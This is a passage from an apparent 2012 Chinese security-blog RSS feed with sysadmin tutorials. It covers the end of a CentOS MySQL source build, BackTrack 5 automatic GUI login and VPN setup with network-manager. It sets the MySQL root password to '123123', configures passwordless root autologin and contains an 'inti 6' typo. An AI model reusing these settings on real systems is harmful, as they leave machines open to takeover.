<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
<div>6</div>
<div>7</div>
<div>8</div>
</td>
<td>
<div>
<div><code># cp nginx /etc/init.d/nginx</code></div>
<div><code># cp php-fpm /etc/init.d/php-fpm</code></div>
<div><code># chmod 755 /etc/init.d/nginx</code></div>
<div><code># chmod 755 /etc/init.d/php-fpm</code></div>
<div><code># chkconfig --add nginx</code></div>
<div><code># chkconfig --add php-fpm</code></div>
<div><code># chkconfig nginx on</code></div>
<div><code># chkconfig php-fpm on</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>[3].安装 Mysql</p>
<p>3.1, 创建mysql安装目录</p>
<div>
<div id="highlighter_405391">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
</td>
<td>
<div>
<div><code># mkdir -p /usr/local/mysql/</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>3.2, 创建数据存放目录</p>
<div>
<div id="highlighter_16521">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
</td>
<td>
<div>
<div><code># mkdir -p /data/mysql/</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>3.3, 创建用户和用户组与赋予数据存放目录权限</p>
<div>
<div id="highlighter_210766">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
</td>
<td>
<div>
<div><code># useradd mysql -M -s /sbin/nologin</code></div>
<div><code># chown mysql.mysql -R /data/mysql/</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>3.4, 安装必要的组件</p>
<div>
<div id="highlighter_943436">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
</td>
<td>
<div>
<div><code># yum -y install cmake</code></div>
<div><code># yum -y install ncurses-devel</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>3.5, 编译安装Mysql</p>
<div>
<div id="highlighter_894113">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
</td>
<td>
<div>
<div><code># cmake -DCMAKE_INSTALL_PREFIX=/usr/local/mysql -DMYSQL_UNIX_ADDR=/data/mysql/mysql.sock -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_EXTRA_CHARSETS:STRING=utf8,gbk -DWITH_MYISAM_STORAGE_ENGINE=1 -DWITH_INNOBASE_STORAGE_ENGINE=1 -DWITH_MEMORY_STORAGE_ENGINE=1 -DWITH_READLINE=1 -DENABLED_LOCAL_INFILE=1 -DMYSQL_DATADIR=/data/mysql -DMYSQL_USER=mysql -DMYSQL_TCP_PORT=3306</code></div>
<div><code># make &amp;&amp; make install</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>3.6, 初始化数据库</p>
<div>
<div id="highlighter_728928">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
</td>
<td>
<div>
<div><code># cd /usr/local/mysql</code></div>
<div><code># scripts/mysql_install_db --user=mysql --basedir=/usr/local/mysql --datadir=/data/mysql/</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>3.7, 配置环境</p>
<div>
<div id="highlighter_499527">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
</td>
<td>
<div>
<div><code># cp support-files/my-medium.cnf /etc/my.cnf</code></div>
<div><code># cp support-files/mysql.server /etc/init.d/mysql</code></div>
<div><code># chmod 755 /etc/init.d/mysql</code></div>
<div><code># chkconfig mysql on</code></div>
<div><code># export PATH=/usr/local/mysql/bin:$PATH</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>3.8, 启动并设置初始密码</p>
<div>
<div id="highlighter_140059">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
</td>
<td>
<div>
<div><code># /etc/init.d/mysql start</code></div>
<div><code># mysqladmin -uroot password '123123'</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>进行再修改密码的语句<br />
1: UPDATE mysql.user SET Password = PASSWORD(‘newpwd’) WHERE User = ‘root’;(生新设置密码)<br />
2: flush privileges;（刷新权限）</p>
</div>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年05月21日 -- <a href="http://www.4shell.org/archives/1761.html" title="橙色预警：PHP PATH_INFO 存在漏洞">橙色预警：PHP PATH_INFO 存在漏洞</a></li><li>2011年12月3日 -- <a href="http://www.4shell.org/archives/2064.html" title="PHP端口复用的利用">PHP端口复用的利用</a></li><li>2011年12月3日 -- <a href="http://www.4shell.org/archives/2063.html" title="php open_basedir设置以及关于安全">php open_basedir设置以及关于安全</a></li><li>2011年11月25日 -- <a href="http://www.4shell.org/archives/2062.html" title="最小化安装CentOS6 VMware-tools安装几点注意事项">最小化安装CentOS6 VMware-tools安装几点注意事项</a></li><li>2011年06月10日 -- <a href="http://www.4shell.org/archives/1969.html" title="VMware 硬盘扩容">VMware 硬盘扩容</a></li><li>2011年06月4日 -- <a href="http://www.4shell.org/archives/1948.html" title="也谈Nginx的CGI PATH INFO问题">也谈Nginx的CGI PATH INFO问题</a></li><li>2011年06月4日 -- <a href="http://www.4shell.org/archives/1942.html" title="Nginx https 免费SSL证书配置指南">Nginx https 免费SSL证书配置指南</a></li><li>2011年06月3日 -- <a href="http://www.4shell.org/archives/1941.html" title="nginx下wp super cache 设置">nginx下wp super cache 设置</a></li><li>2011年06月2日 -- <a href="http://www.4shell.org/archives/1935.html" title="Mysql安全">Mysql安全</a></li><li>2011年05月12日 -- <a href="http://www.4shell.org/archives/1928.html" title="简单配置 IIS6 + FastCGI 高效运行PHP">简单配置 IIS6 + FastCGI 高效运行PHP</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2095.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BT5 R1 启动自动进入图形界面</title>
		<link>http://www.4shell.org/archives/2093.html</link>
		<comments>http://www.4shell.org/archives/2093.html#comments</comments>
		<pubDate>Fri, 17 Feb 2012 06:19:31 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Backtrack5]]></category>
		<category><![CDATA[BT5]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2093</guid>
		<description><![CDATA[第一种，直接登录root用户的图形界面，不用输入密码 1,安装rungetty 1 # apt-get install rungetty 2,编辑 /etc/init/tty1.conf 1 # gedit  /etc/init/tty1.conf 将exec这一段注释掉并加一句 1 2 #exec /sbin/getty 38400 tty1 exec /sbin/rungetty tty1 --autologin root 3,编辑.bash_profile文件，如果没有则建立它 1 # gedit /root/.bash_profile 1 startx 第二种：直接启动到图形界面，提示输入用户密码 1,安装gdm 1 # sudo apt-get install gdm 2,设置默认为gdm 1 # sudo update-rc.d gdm defaults 3.编辑grub 1 # vim /etc/default/grub GRUB_CMDLINE_LINUX_DEFAULT=”text splash vga=791″ [...]]]></description>
			<content:encoded><![CDATA[<p><strong>第一种，直接登录root用户的图形界面，不用输入密码</strong></p>
<p>1,安装rungetty</p>
<div>
<div id="highlighter_225661">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
</td>
<td>
<div>
<div><code># apt-get install rungetty</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>2,编辑 /etc/init/tty1.conf</p>
<div>
<div id="highlighter_679244">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
</td>
<td>
<div>
<div><code># gedit  /etc/init/tty1.conf</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>将exec这一段注释掉并加一句</p>
<div>
<div id="highlighter_162725">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
</td>
<td>
<div>
<div><code>#exec /sbin/getty 38400 tty1</code></div>
<div><code>exec /sbin/rungetty tty1 --autologin root</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>3,编辑.bash_profile文件，如果没有则建立它</p>
<div>
<div id="highlighter_328664">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
</td>
<td>
<div>
<div><code># gedit /root/.bash_profile</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div>
<div id="highlighter_433634">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
</td>
<td>
<div>
<div><code>startx</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p><strong>第二种：直接启动到图形界面，提示输入用户密码</strong></p>
<p>1,安装gdm</p>
<div>
<div id="highlighter_249961">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
</td>
<td>
<div>
<div><code># sudo apt-get install gdm</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>2,设置默认为gdm</p>
<div>
<div id="highlighter_539792">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
</td>
<td>
<div>
<div><code># sudo update-rc.d gdm defaults</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>3.编辑grub</p>
<div>
<div id="highlighter_68189">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
</td>
<td>
<div>
<div><code># vim /etc/default/grub</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>GRUB_CMDLINE_LINUX_DEFAULT=”text splash vga=791″<br />
修改成quiet<br />
GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash vga=791″</p>
<p>4.更新grub</p>
<div>
<div id="highlighter_938883">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
</td>
<td>
<div>
<div><code># sudo update-grub</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>5.重启</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
</td>
<td>
<div>
<div><code># inti 6</code></div>
</div>
</td>
</tr>
</tbody>
</table>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年02月17日 -- <a href="http://www.4shell.org/archives/2092.html" title="BT5 R1 下VPN拨号 安装networkmanager">BT5 R1 下VPN拨号 安装networkmanager</a></li><li>2011年11月22日 -- <a href="http://www.4shell.org/archives/2049.html" title="BT5 R1 Install VMware Tools">BT5 R1 Install VMware Tools</a></li><li>2011年06月8日 -- <a href="http://www.4shell.org/archives/1959.html" title="Backtrack5 汉化">Backtrack5 汉化</a></li><li>2012年03月8日 -- <a href="http://www.4shell.org/archives/2155.html" title="解决BackTrack 5 R2 Metasploit Bug">解决BackTrack 5 R2 Metasploit Bug</a></li><li>2012年03月6日 -- <a href="http://www.4shell.org/archives/2146.html" title="BackTrack 5 从R1 升级到 BackTrack 5 R2">BackTrack 5 从R1 升级到 BackTrack 5 R2</a></li><li>2012年03月6日 -- <a href="http://www.4shell.org/archives/2104.html" title="来看看老外的日站思路">来看看老外的日站思路</a></li><li>2011年06月20日 -- <a href="http://www.4shell.org/archives/2001.html" title="Update Script for Backtrack 5">Update Script for Backtrack 5</a></li><li>2011年06月8日 -- <a href="http://www.4shell.org/archives/1960.html" title="BackTrack5 下破解无线">BackTrack5 下破解无线</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1957.html" title="BT5下用ncrack破解3389">BT5下用ncrack破解3389</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2093.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BT5 R1 下VPN拨号 安装networkmanager</title>
		<link>http://www.4shell.org/archives/2092.html</link>
		<comments>http://www.4shell.org/archives/2092.html#comments</comments>
		<pubDate>Fri, 17 Feb 2012 06:18:40 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Backtrack5]]></category>
		<category><![CDATA[BT5]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2092</guid>
		<description><![CDATA[1,VPN拔号: 1 2 3 4 5 6 7 # apt-get install network-manager-gnome # apt-get install network-manager-pptp # apt-get install network-manager-vpnc # cp /etc/network/interfaces /etc/network/interfaces.backup # echo "auto lo" &#62; /etc/network/interfaces # echo "iface lo inet loopback" &#62;&#62; /etc/network/interfaces # service network-manager restart 安装并重启network-manager后，Gnone菜单右上角出现网络的图标，点击添加VPN即可 2, Wicd Network Manager 无线连接界面出错: Could not connect to wicd’s D-Bus interface.Check [...]]]></description>
			<content:encoded><![CDATA[<p>1,VPN拔号:</p>
<div>
<div id="highlighter_366870">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
<div>6</div>
<div>7</div>
</td>
<td>
<div>
<div><code># apt-get install network-manager-gnome</code></div>
<div><code># apt-get install network-manager-pptp</code></div>
<div><code># apt-get install network-manager-vpnc</code></div>
<div><code># cp /etc/network/interfaces /etc/network/interfaces.backup</code></div>
<div><code># echo "auto lo" &gt; /etc/network/interfaces</code></div>
<div><code># echo "iface lo inet loopback" &gt;&gt; /etc/network/interfaces</code></div>
<div><code># service network-manager restart</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>安装并重启network-manager后，Gnone菜单右上角出现网络的图标，点击添加VPN即可</p>
<p>2, Wicd Network Manager 无线连接界面出错:<br />
Could not connect to wicd’s D-Bus interface.Check the wicd log for error messages.<br />
解决办法：</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>1</div>
<div>2</div>
</td>
<td>
<div>
<div><code># dpkg-reconfigure wicd</code></div>
<div><code># update-rc.d wicd defaults</code></div>
</div>
</td>
</tr>
</tbody>
</table>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年02月17日 -- <a href="http://www.4shell.org/archives/2093.html" title="BT5 R1 启动自动进入图形界面">BT5 R1 启动自动进入图形界面</a></li><li>2011年11月22日 -- <a href="http://www.4shell.org/archives/2049.html" title="BT5 R1 Install VMware Tools">BT5 R1 Install VMware Tools</a></li><li>2011年06月8日 -- <a href="http://www.4shell.org/archives/1959.html" title="Backtrack5 汉化">Backtrack5 汉化</a></li><li>2012年03月8日 -- <a href="http://www.4shell.org/archives/2155.html" title="解决BackTrack 5 R2 Metasploit Bug">解决BackTrack 5 R2 Metasploit Bug</a></li><li>2012年03月6日 -- <a href="http://www.4shell.org/archives/2146.html" title="BackTrack 5 从R1 升级到 BackTrack 5 R2">BackTrack 5 从R1 升级到 BackTrack 5 R2</a></li><li>2012年03月6日 -- <a href="http://www.4shell.org/archives/2104.html" title="来看看老外的日站思路">来看看老外的日站思路</a></li><li>2011年06月20日 -- <a href="http://www.4shell.org/archives/2001.html" title="Update Script for Backtrack 5">Update Script for Backtrack 5</a></li><li>2011年06月8日 -- <a href="http://www.4shell.org/archives/1960.html" title="BackTrack5 下破解无线">BackTrack5 下破解无线</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1957.html" title="BT5下用ncrack破解3389">BT5下用ncrack破解3389</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2092.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 0.910 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2012-05-18 09:46:20 -->

